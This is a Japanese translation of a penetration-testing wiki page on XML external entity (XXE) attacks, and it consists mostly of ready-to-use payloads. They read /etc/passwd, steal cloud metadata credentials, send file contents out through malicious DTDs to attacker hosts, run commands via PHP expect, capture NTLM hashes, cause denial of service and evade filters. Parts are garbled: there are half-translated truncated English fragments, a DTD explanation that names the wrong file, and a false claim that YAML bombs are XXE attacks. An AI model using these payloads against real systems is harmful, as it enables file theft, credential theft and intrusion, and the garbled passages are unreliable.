hacktricks/pentesting-web/xxe-xee-xml-external-entity.md
2023-07-07 23:42:27 +00:00

56 KiB
Raw Blame History

XXE - XEE - XML外部エンティティ

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

XML外部エンティティ攻撃は、XML入力を解析するアプリケーションに対する攻撃の一種です。

XMLの基礎

この部分のほとんどは、この素晴らしいPortswiggerのページから取得されました: https://portswigger.net/web-security/xxe/xml-entities

XMLとは

XMLは「拡張可能なマークアップ言語」の略です。XMLはデータの保存と輸送のために設計された言語です。HTMLと同様に、XMLはタグとデータのツリー構造を使用します。ただし、HTMLとは異なり、XMLは事前に定義されたタグを使用せず、タグにはデータを説明する名前が付けられます。ウェブの歴史の初期には、XMLはデータ輸送形式として流行していました「AJAX」の「X」は「XML」を表しています。しかし、その人気は現在、JSON形式に傾いています。

XMLエンティティとは

XMLエンティティは、データそのものを使用する代わりに、XMLドキュメント内のデータ項目を表現する方法です。さまざまなエンティティは、XML言語の仕様に組み込まれています。たとえば、エンティティ&lt;&gt;は、文字<>を表します。これらはXMLタグを示すメタ文字であり、データ内に表示される場合は通常、エンティティを使用して表現する必要があります。

XML要素とは何ですか

要素タイプの宣言は、XMLドキュメントに表示できる要素のタイプと数、および要素がお互いに表示できるか、表示する順序を設定します。たとえば

  • <!ELEMENT stockCheck ANY>は、親の<stockCheck></stockCheck>内に任意のオブジェクトが含まれる可能性を示します。
  • <!ELEMENT stockCheck EMPTY>は、空である必要があることを意味します<stockCheck></stockCheck>
  • <!ELEMENT stockCheck (productId,storeId)>は、<stockCheck><productId><storeId>の子要素を持つことを宣言します。

ドキュメントタイプ定義とは何ですか?

XMLドキュメントタイプ定義DTDには、XMLドキュメントの構造、含めることができるデータ値のタイプ、およびその他の項目を定義できる宣言が含まれています。DTDはXMLドキュメントの先頭にあるオプションのDOCTYPE要素内で宣言されます。DTDはドキュメント自体に完全に含まれることができます「内部DTD」として知られるまたは他の場所からロードされることができます「外部DTD」として知られるまたはその両方のハイブリッドであることができます。

XMLカスタムエンティティとは何ですか

XMLでは、DTD内でカスタムエンティティを定義することができます。たとえば

<!DOCTYPE foo [ <!ENTITY myentity "my entity value" > ]>

この定義は、XMLドキュメント内でエンティティ参照&myentity;が使用される場合、定義された値「my entity value」で置き換えられることを意味します。

XML外部エンティティとは何ですか

XML外部エンティティは、宣言されたDTDの外部に定義されたカスタムエンティティの一種です。

外部エンティティの宣言では、SYSTEMキーワードを使用し、エンティティの値をロードするURLを指定する必要があります。たとえば

<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://normal-website.com" > ]>

URLはfile://プロトコルを使用できるため、外部エンティティはファイルからロードできます。たとえば:

<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///path/to/file" > ]>

XML外部エンティティは、XML外部エンティティ攻撃が発生する主な手段を提供します。

XMLパラメータエンティティとは何ですか

場合によっては、アプリケーションの入力検証や使用されているXMLパーサの強化により、通常のエンティティを使用したXXE攻撃がブロックされることがあります。このような状況では、XMLパラメータエンティティを代わりに使用できる場合があります。XMLパラメータエンティティは、DTD内の他の場所でのみ参照できる特別な種類のXMLエンティティです。現在の目的では、2つのことだけ知っておく必要があります。まず、XMLパラメータエンティティの宣言には、エンティティ名の前にパーセント記号が含まれます

<!ENTITY % myparameterentity "my parameter entity value" >

そして、パラメータエンティティは通常のアンパサンドの代わりにパーセント記号を使用して参照されます:%myparameterentity;

これに

メイン攻撃

これらの攻撃のほとんどは、素晴らしいPortswiggers XEEラボを使用してテストされましたhttps://portswigger.net/web-security/xxe

新しいエンティティのテスト

この攻撃では、単純な新しいエンティティの宣言が機能するかどうかをテストします。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY toreplace "3"> ]>
<stockCheck>
<productId>&toreplace;</productId>
<storeId>1</storeId>
</stockCheck>

ファイルの読み取り

さまざまな方法で/etc/passwdを読み取ってみましょう。Windowsの場合は、C:\windows\system32\drivers\etc\hostsを読み取ることができます。

最初の場合では、SYSTEM "**file:///**etc/passwd"も機能することに注意してください。

<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
<data>&example;</data>

この2番目のケースは、ウェブサーバーがPHPを使用している場合にファイルを抽出するのに役立ちますPortswiggers labsの場合ではありません

<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>
<data>&example;</data>

この第3のケースでは、Element stockCheckをANYとして宣言していることに注意してください。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ELEMENT stockCheck ANY>
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<stockCheck>
<productId>&file;</productId>
<storeId>1</storeId>
</stockCheck3>

ディレクトリリスト

Javaベースのアプリケーションでは、次のようなペイロードを使用して、XXEを介してディレクトリの内容をリストアップすることができる場合がありますファイルではなくディレクトリを要求するだけです:

<!-- Root / -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "file:///">]><root><foo>&xxe;</foo></root>

<!-- /etc/ -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root[<!ENTITY xxe SYSTEM "file:///etc/" >]><root><foo>&xxe;</foo></root>

SSRF

XXEを使用して、クラウド内のSSRFを悪用することができます。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>

Blind SSRF

以前にコメントされたテクニックを使用すると、サーバーが脆弱性を示すために制御するサーバーにアクセスできます。しかし、それがうまくいかない場合は、おそらくXMLエンティティが許可されていないためです。その場合、XMLパラメータエンティティを使用してみることができます。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://gtd8nhwxylcik0mt2dgvpeapkgq7ew.burpcollaborator.net"> %xxe; ]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>

"Blind" SSRF - データの外部への漏洩

この場合、サーバーに新しい悪意のあるペイロードをロードさせ、ファイルの内容をHTTPリクエスト経由で送信するDTDを作成します複数行のファイルの場合はftp://を使用して漏洩させることもできます)。この説明はこちらのPortswiggersのラボから引用されています。

/etc/hostnameファイルの内容を漏洩させるための悪意のあるDTDの例は以下の通りです

<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
%eval;
%exfiltrate;

このDTDは以下の手順を実行します

  • /etc/passwd ファイルの内容を含む file という名前のXMLパラメータエンティティを定義します。
  • eval という名前のXMLパラメータエンティティを定義し、exfiltrate という別のXMLパラメータエンティティの動的宣言を含めます。exfiltrate エンティティは、URLクエリ文字列内の file エンティティの値を含む攻撃者のウェブサーバーに対してHTTPリクエストを行うことで評価されます。
  • eval エンティティを使用し、exfiltrate エンティティの動的宣言が行われるようにします。
  • 指定されたURLをリクエストすることで、exfiltrate エンティティの値が評価されるようにします。

攻撃者は、通常は自分自身のウェブサーバーに悪意のあるDTDをロードすることで、悪意のあるDTDを制御するシステムに配置する必要があります。例えば、攻撃者は次のURLで悪意のあるDTDを提供するかもしれません
http://web-attacker.com/malicious.dtd

最後に、攻撃者は脆弱なアプリケーションに以下のXXEペイロードを送信する必要があります

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>

このXXEペイロードは、xxeというXMLパラメータエンティティを宣言し、そのエンティティをDTD内で使用します。これにより、XMLパーサーは攻撃者のサーバーから外部DTDを取得し、インラインで解釈します。悪意のあるDTDで定義された手順が実行され、/etc/passwdファイルが攻撃者のサーバーに送信されます。

エラーベース外部DTD

この場合、サーバーに悪意のあるDTDを読み込ませ、エラーメッセージ内にファイルの内容を表示しますエラーメッセージを表示できる場合にのみ有効です ここから例を参照してください。

以下のように、悪意のある外部DTDを使用して、/etc/passwdファイルの内容を含むXMLパースエラーメッセージをトリガーできます

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;

このDTDは以下の手順を実行します

  • /etc/passwd ファイルの内容を含む file という名前の XML パラメータエンティティを定義します。
  • eval という名前の XML パラメータエンティティを定義し、その中に error という別の XML パラメータエンティティの動的宣言を含めます。error エンティティは、file エンティティの値を含む存在しないファイルをロードすることで評価されます。
  • eval エンティティを使用し、error エンティティの動的宣言が行われるようにします。
  • error エンティティを使用し、その値が存在しないファイルをロードしようとして評価され、/etc/passwd ファイルの内容を含む存在しないファイルの名前を含むエラーメッセージが生成されます。

外部 DTD エラーを呼び出すには、以下を実行します:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>

そして、Webサーバーの応答のエラーメッセージの中に、ファイルの内容が表示されるはずです。

外部DTDを使用すると、2番目のエンティティevalの中に1つのエンティティを含めることができますが、内部DTDでは禁止されています。したがって、通常は外部DTDを使用しないとエラーを強制することはできません。

エラーベースシステムDTD

では、外部接続が利用できない場合には、ブラインドXXEの脆弱性についてどうなるのでしょうかここからの情報

この状況では、XML言語仕様のループホールにより、エラーメッセージに機密データが含まれることがあるかもしれません。ドキュメントのDTDが内部DTDと外部DTDのハイブリッドを使用している場合、内部DTDは外部DTDで宣言されたエンティティを再定義することができます。これが起こると、別のパラメータエンティティの定義内でXMLパラメータエンティティを使用する制限が緩和されます。

これは、攻撃者が内部DTD内からエラーベースのXXEテクニックを使用できることを意味します。ただし、外部接続がブロックされている場合、リモートの場所から外部DTDをロードすることはできません。代わりに、アプリケーションサーバーにローカルの外部DTDファイルが必要です。基本的に、攻撃は、ローカルファイルシステムに存在するDTDファイルを呼び出し、既存のエンティティを再定義してパースエラーをトリガーし、機密データを含むエラーメッセージを生成することです。

例えば、サーバーファイルシステムの場所/usr/local/app/schema.dtdにDTDファイルが存在し、このDTDファイルがcustom_entityというエンティティを定義しているとします。攻撃者は、次のようなハイブリッドDTDを送信することで、/etc/passwdファイルの内容を含むXMLパースエラーメッセージをトリガーすることができます。

<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
<!ENTITY % custom_entity '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>

このDTDは以下の手順を実行します

  • サーバーファイルシステム上に存在する外部DTDファイルの内容を含むlocal_dtdというXMLパラメータエンティティを定義します。
  • 外部DTDファイルで既に定義されているXMLパラメータエンティティであるcustom_entityを再定義します。このエンティティは、既に説明されたエラーベースのXXE攻撃を含み、/etc/passwdファイルの内容を含むエラーメッセージをトリガーします。
  • local_dtdエンティティを使用して、外部DTDが解釈され、custom_entityエンティティの再定義値が含まれるようにします。これにより、望ましいエラーメッセージが表示されます。

実際の例: GNOMEデスクトップ環境を使用しているシステムでは、/usr/share/yelp/dtd/docbookx.dtdISOamsoというエンティティが含まれています。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>

この技術では、最初に有効な内部DTDを見つける必要があります。これを行うには、サーバーと同じOS/ソフトウェアをインストールし、いくつかのデフォルトのDTDを検索するか、システム内のデフォルトのDTDのリストを取得して存在するかどうかを確認することができます。

<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
%local_dtd;
]>

システム内のDTDの検出

次の素晴らしいGitHubリポジトリでは、システム内に存在する可能性のあるDTDのパスを見つけることができます:

{% embed url="https://github.com/GoSecure/dtd-finder/tree/master/list" %}

さらに、被害者システムのDockerイメージがある場合、同じリポジトリのツールを使用してイメージをスキャンし、システム内に存在するDTDのパスを検出することができます。詳細については、GitHubのReadmeを参照してください。

java -jar dtd-finder-1.2-SNAPSHOT-all.jar /tmp/dadocker.tar

Scanning TAR file /tmp/dadocker.tar

[=] Found a DTD: /tomcat/lib/jsp-api.jar!/jakarta/servlet/jsp/resources/jspxml.dtd
Testing 0 entities : []

[=] Found a DTD: /tomcat/lib/servlet-api.jar!/jakarta/servlet/resources/XMLSchema.dtd
Testing 0 entities : []

Office Open XMLパーサーを介したXXE

こちらからコピー)
多くのWebアプリケーションでは、Microsoft Officeドキュメントをアップロードして、それらからいくつかの詳細を解析することができます。たとえば、XLSX形式のスプレッドシートをアップロードしてデータをインポートできるWebアプリケーションがあるかもしれません。スプレッドシートからデータを抽出するために、パーサーは少なくとも1つのXMLファイルを解析する必要があります。

これをテストする唯一の方法は、XXEペイロードを含むMicrosoft Officeファイルを生成することです。それでは、まず、ドキュメントを解凍するための空のディレクトリを作成し、解凍しましょう

test$ ls
test.docx
test$ mkdir unzipped
test$ unzip ./test.docx -d ./unzipped/
Archive:  ./test.docx
inflating: ./unzipped/word/numbering.xml
inflating: ./unzipped/word/settings.xml
inflating: ./unzipped/word/fontTable.xml
inflating: ./unzipped/word/styles.xml
inflating: ./unzipped/word/document.xml
inflating: ./unzipped/word/_rels/document.xml.rels
inflating: ./unzipped/_rels/.rels
inflating: ./unzipped/word/theme/theme1.xml
inflating: ./unzipped/[Content_Types].xml

お気に入りのテキストエディタvim./unzipped/word/document.xml を開き、お気に入りのXXEペイロードを含むXMLを編集します。私が最初に試すのは、次のようなHTTPリクエストです。

<!DOCTYPE x [ <!ENTITY test SYSTEM "http://[ID].burpcollaborator.net/"> ]>
<x>&test;</x>

以下の行は、次のように2つのルートXMLオブジェクトの間に挿入する必要があります。もちろん、URLはリクエストを監視できるURLに置き換える必要があります。

Those lines should be inserted in between the two root XML objects, like thi

残りは、悪意のあるpoc.docxファイルを作成するためにファイルを圧縮するだけです。前述の「unzipped」ディレクトリから次のコマンドを実行します。

From the "unzipped" directory that we created earlier, run the following:

今、ファイルをおそらく脆弱なWebアプリケーションにアップロードし、Burp Collaboratorログでリクエストを待ちます。

Jar: プロトコル

jarプロトコルは、Javaアプリケーションでのみ利用可能です。これにより、PKZIPファイル(.zip.jarなど)内のファイルにアクセスでき、ローカルおよびリモートのファイルに対して機能します。

jar:file:///var/myarchive.zip!/file.txt
jar:https://download.host.com/myarchive.zip!/file.txt

{% hint style="danger" %} PKZIPファイル内のファイルにアクセスできることは、システムDTDファイルを介したXXEの乱用に非常に役立ちます。このセクションをチェックして、システムDTDファイルを乱用する方法を学びましょう。 {% endhint %}

裏側

  1. zipアーカイブをロードするためにHTTPリクエストを行います。https://download.host.com/myarchive.zip
  2. HTTPレスポンスを一時的な場所に保存します。/tmp/...
  3. アーカイブを展開します。
  4. file.zipを読み込みます。
  5. 一時ファイルを削除します。

注意点として、フローを2番目のステップで停止させることが可能です。ファイルを提供する際に接続を閉じないようにするトリックです。このツールが役立つかもしれませんPythonのslow_http_server.pyとJavaのslowserver.jarがあります。

サーバーがファイルをダウンロードしたら、一時ディレクトリをブラウズしてその場所を見つける必要があります。ランダムなため、ファイルパスは事前に予測することはできません。

Jar

{% hint style="danger" %} 一時ディレクトリにファイルを書き込むことは、パストラバーサルを含む別の脆弱性をエスカレートさせるのに役立ちますローカルファイルのインクルード、テンプレートインジェクション、XSLT RCE、逆シリアル化など。 {% endhint %}

XSS

<![CDATA[<]]>script<![CDATA[>]]>alert(1)<![CDATA[<]]>/script<![CDATA[>]]>

DoS

ビリオン・ラフ攻撃

<!DOCTYPE data [
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
<!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
<!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
]>
<data>&a4;</data>

Yaml攻撃

Yaml攻撃は、XML外部エンティティXXE攻撃の一種です。Yamlはデータのシリアライゼーション形式であり、多くのプログラミング言語で使用されています。Yaml攻撃では、悪意のあるエンティティを含むYamlファイルを使用して、アプリケーションの脆弱性を悪用します。

Yaml攻撃の手法は、以下の手順で実行されます。

  1. 攻撃者は、悪意のあるエンティティを含むYamlファイルを作成します。
  2. 攻撃者は、Yamlファイルをアプリケーションに送信します。
  3. アプリケーションは、Yamlファイルを解析し、悪意のあるエンティティを処理します。
  4. 悪意のあるエンティティによって、攻撃者は機密情報を漏洩させたり、サーバー上で任意のコードを実行したりすることができます。

Yaml攻撃は、アプリケーションが外部エンティティを解析する際の脆弱性に依存しています。攻撃者は、外部エンティティの定義を悪用して、アプリケーションの動作を制御することができます。この攻撃は、機密情報の漏洩やサーバーの完全な制御を可能にするため、重大なセキュリティリスクとなります。

Yaml攻撃を防ぐためには、以下の対策を実施することが重要です。

  • 外部エンティティの解析を無効化する。
  • 受信したYamlファイルの信頼性を検証する。
  • セキュリティパッチやアップデートを定期的に適用する。

これらの対策を実施することで、Yaml攻撃からアプリケーションを保護することができます。

a: &a ["lol","lol","lol","lol","lol","lol","lol","lol","lol"]
b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a]
c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b]
d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c]
e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d]
f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e]
g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f]
h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]
i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]

二次関数の膨張攻撃

NTMLの取得

Windowsホストでは、responder.pyハンドラを設定することで、ウェブサーバーユーザーのNTMLハッシュを取得することができます。

Responder.py -I eth0 -v

そして、次のリクエストを送信することによって

<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM 'file://///attackerIp//randomDir/random.jpg'> ]>
<data>&example;</data>

隠れたXXEの表面

XInclude

ここから。

一部のアプリケーションは、クライアントからのデータを受け取り、サーバーサイドでXMLドキュメントに埋め込み、そのドキュメントを解析することがあります。これは、クライアントからのデータがバックエンドのSOAPリクエストに配置され、バックエンドのSOAPサービスで処理される場合に発生します。

この状況では、クラシックなXXE攻撃は実行できません。なぜなら、XMLドキュメント全体を制御できず、DOCTYPE要素を定義または変更することができないからです。ただし、XIncludeを使用することができるかもしれません。XIncludeは、XML仕様の一部であり、XMLドキュメントをサブドキュメントから構築することができます。XMLドキュメント内の任意のデータ値にXInclude攻撃を配置することができるため、サーバーサイドのXMLドキュメントに配置される単一のデータ項目のみを制御できる状況で攻撃を実行することができます。

XInclude攻撃を実行するには、XIncludeの名前空間を参照し、含めたいファイルのパスを指定する必要があります。例えば:

productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1

SVG - ファイルのアップロード

ここから

一部のアプリケーションでは、ユーザーがアップロードしたファイルをサーバーサイドで処理することができます。一部の一般的なファイル形式はXMLを使用するか、XMLのサブコンポーネントを含んでいます。XMLベースの形式の例としては、DOCXのようなオフィスドキュメント形式や、SVGのような画像形式があります。

たとえば、アプリケーションではユーザーが画像をアップロードできるようにし、アップロード後にサーバーでこれらを処理または検証することができます。アプリケーションがPNGやJPEGのような形式を受け取ることを期待していても、使用されている画像処理ライブラリはSVG画像をサポートするかもしれません。SVG形式はXMLを使用しているため、攻撃者は悪意のあるSVG画像を送信し、XXEの脆弱性のための隠れた攻撃対象に到達することができます。

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200"><image xlink:href="file:///etc/hostname"></image></svg>

PHPの「expect」ラッパーを使用して、コマンドを実行することも試すことができます。

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
<image xlink:href="expect://ls"></image>
</svg>

注意読み込んだファイルの最初の行または実行結果の最初の行は、作成された画像の内部に表示されます。したがって、SVGが作成した画像にアクセスできる必要があります。

PDF - ファイルのアップロード

次の投稿を読んで、PDFファイルをアップロードしてXXEを悪用する方法を学びます:

{% content-ref url="file-upload/pdf-upload-xxe-and-cors-bypass.md" %} pdf-upload-xxe-and-cors-bypass.md {% endcontent-ref %}

Content-Type: x-www-urlencodedからXMLへ

POSTリクエストがXML形式のデータを受け入れる場合、そのリクエストでXXEを悪用することができます。たとえば、通常のリクエストには次のような内容が含まれている場合

POST /action HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 7

foo=bar

その場合、同じ結果を得るために次のリクエストを送信することができるかもしれません:

POST /action HTTP/1.0
Content-Type: text/xml
Content-Length: 52

<?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>

Content-Type: JSONからXEEへ

リクエストを変更するために、Burp拡張機能である「Content Type Converter」を使用することができます。ここで、この例を見つけることができます。

Content-Type: application/json;charset=UTF-8

{"root": {"root": {
"firstName": "Avinash",
"lastName": "",
"country": "United States",
"city": "ddd",
"postalCode": "ddd"
}}}
Content-Type: application/xml;charset=UTF-8

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE testingxxe [<!ENTITY xxe SYSTEM "http://34.229.92.127:8000/TEST.ext" >]>
<root>
<root>
<firstName>&xxe;</firstName>
<lastName/>
<country>United States</country>
<city>ddd</city>
<postalCode>ddd</postalCode>
</root>
</root>

別の例はこちらで見つけることができます。

WAFと保護のバイパス

Base64

<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>

これは、XMLサーバーがdata://プロトコルを受け入れる場合にのみ機能します。

UTF-7

[ここでのEncode Recipe" of cyberchef はこちら ]([https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7 %2865000%29'%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7 %2865000%29'%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to) を使用して、UTF-7に変換することができます。

<!xml version="1.0" encoding="UTF-7"?-->
+ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4-
<?xml version="1.0" encoding="UTF-7"?>
+ADwAIQ-DOCTYPE foo+AFs +ADwAIQ-ELEMENT foo ANY +AD4
+ADwAIQ-ENTITY xxe SYSTEM +ACI-http://hack-r.be:1337+ACI +AD4AXQA+
+ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4

File:/ Protocol Bypass

ウェブがPHPを使用している場合、file:/の代わりにphpラッパーphp://filter/convert.base64-encode/resource=を使用して内部ファイルにアクセスすることができます。

ウェブがJavaを使用している場合は、jarプロトコルを確認できます。

HTMLエンティティ

https://github.com/Ambrotd/XXE-Notesからのトリック
HTMLエンティティを使用してエンティティ内にエンティティを作成し、それを呼び出してdtdをロードすることができます。
使用するHTMLエンティティ数値である必要があることに注意してください(例:[この例](https://gchq.github.io/CyberChef/#recipe=To_HTML_Entity%28true,'Numeric entities'%29&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\).

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % a "&#x3C;&#x21;&#x45;&#x4E;&#x54;&#x49;&#x54;&#x59;&#x25;&#x64;&#x74;&#x64;&#x53;&#x59;&#x53;&#x54;&#x45;&#x4D;&#x22;&#x68;&#x74;&#x74;&#x70;&#x3A;&#x2F;&#x2F;&#x6F;&#x75;&#x72;&#x73;&#x65;&#x72;&#x76;&#x65;&#x72;&#x2E;&#x63;&#x6F;&#x6D;&#x2F;&#x62;&#x79;&#x70;&#x61;&#x73;&#x73;&#x2E;&#x64;&#x74;&#x64;&#x22;&#x3E;" >%a;%dtd;]>
<data>
<env>&exfil;</env>
</data>

DTDの例

<!DOCTYPE foo [
  <!ELEMENT foo ANY>
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>

この例では、DTDDocument Type Definitionを使用して、外部エンティティを参照する方法を示しています。DTDは、XML文書の構造と要素の定義を指定するために使用されます。

上記の例では、<!ENTITY>ディレクティブを使用して、xxeという名前の外部エンティティを定義しています。この外部エンティティは、file:///etc/passwdというパスにあるファイルを参照します。

そして、<foo>要素内で&xxe;というエンティティを参照しています。この結果、/etc/passwdファイルの内容が<foo>要素の中に表示される可能性があります。

このようなXXEXML External Entity攻撃は、XMLパーサーが外部エンティティを解析する際に発生する脆弱性を悪用します。攻撃者は、外部エンティティを使用して機密情報を漏洩させたり、システムに対する攻撃を行ったりすることができます。

<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/flag">
<!ENTITY % abt "<!ENTITY exfil SYSTEM 'http://172.17.0.1:7878/bypass.xml?%data;'>">
%abt;
%exfil;

PHP ラッパー

Base64

index.php抽出する

<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>

外部リソースの抽出

Description

An XML External Entity (XXE) attack is a type of attack that targets applications that parse XML input. It occurs when an application allows an attacker to upload or include an XML file that contains a reference to an external entity. This can lead to the disclosure of internal files, remote code execution, or denial of service attacks.

攻撃手法

XML External Entity (XXE) 攻撃は、XML 入力を解析するアプリケーションを標的とする攻撃の一種です。攻撃者が外部エンティティへの参照を含む XML ファイルをアップロードまたはインクルードできる場合に発生します。これにより、内部ファイルの漏洩、リモートコード実行、またはサービス拒否攻撃が引き起こされる可能性があります。

Exploitation

To exploit an XXE vulnerability, an attacker can craft a malicious XML file that includes a reference to an external entity. The XML file is then uploaded or included in the application. When the application parses the XML, it resolves the external entity reference, allowing the attacker to extract sensitive information from internal files.

攻撃手順

XXE 脆弱性を悪用するために、攻撃者は外部エンティティへの参照を含む悪意のある XML ファイルを作成します。その後、XML ファイルはアプリケーションにアップロードまたはインクルードされます。アプリケーションが XML を解析する際、外部エンティティ参照が解決され、攻撃者は内部ファイルから機密情報を抽出することができます。

Prevention

To prevent XXE attacks, it is important to implement proper input validation and sanitization techniques. This includes:

  • Disabling external entity processing in XML parsers.
  • Implementing a whitelist of allowed XML entities.
  • Using secure XML parsers that do not resolve external entities by default.
  • Regularly updating and patching XML parsing libraries.
予防策

XXE 攻撃を防ぐためには、適切な入力検証とサニタイズ技術の実装が重要です。以下の対策が含まれます。

  • XML パーサーでの外部エンティティ処理の無効化。
  • 許可された XML エンティティのホワイトリストの実装。
  • デフォルトで外部エンティティを解決しない安全な XML パーサーの使用。
  • 定期的な XML パースライブラリの更新とパッチ適用。
References
<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=http://10.0.0.3"> ]>

リモートコード実行

PHPの"expect"モジュールがロードされている場合

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>

SOAP - XEE

SOAPSimple Object Access Protocolは、Webサービス間での通信に使用されるプロトコルです。SOAPメッセージはXML形式で送信され、サーバーとクライアント間でデータのやり取りを行います。

SOAPには、XXEXML External Entity攻撃の脆弱性が存在します。XXE攻撃は、外部エンティティを含む悪意のあるXMLペイロードを送信することで、サーバー上のファイルの読み取りや任意のコマンドの実行などの攻撃を行います。

以下は、SOAPメッセージでのXXE攻撃の例です。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
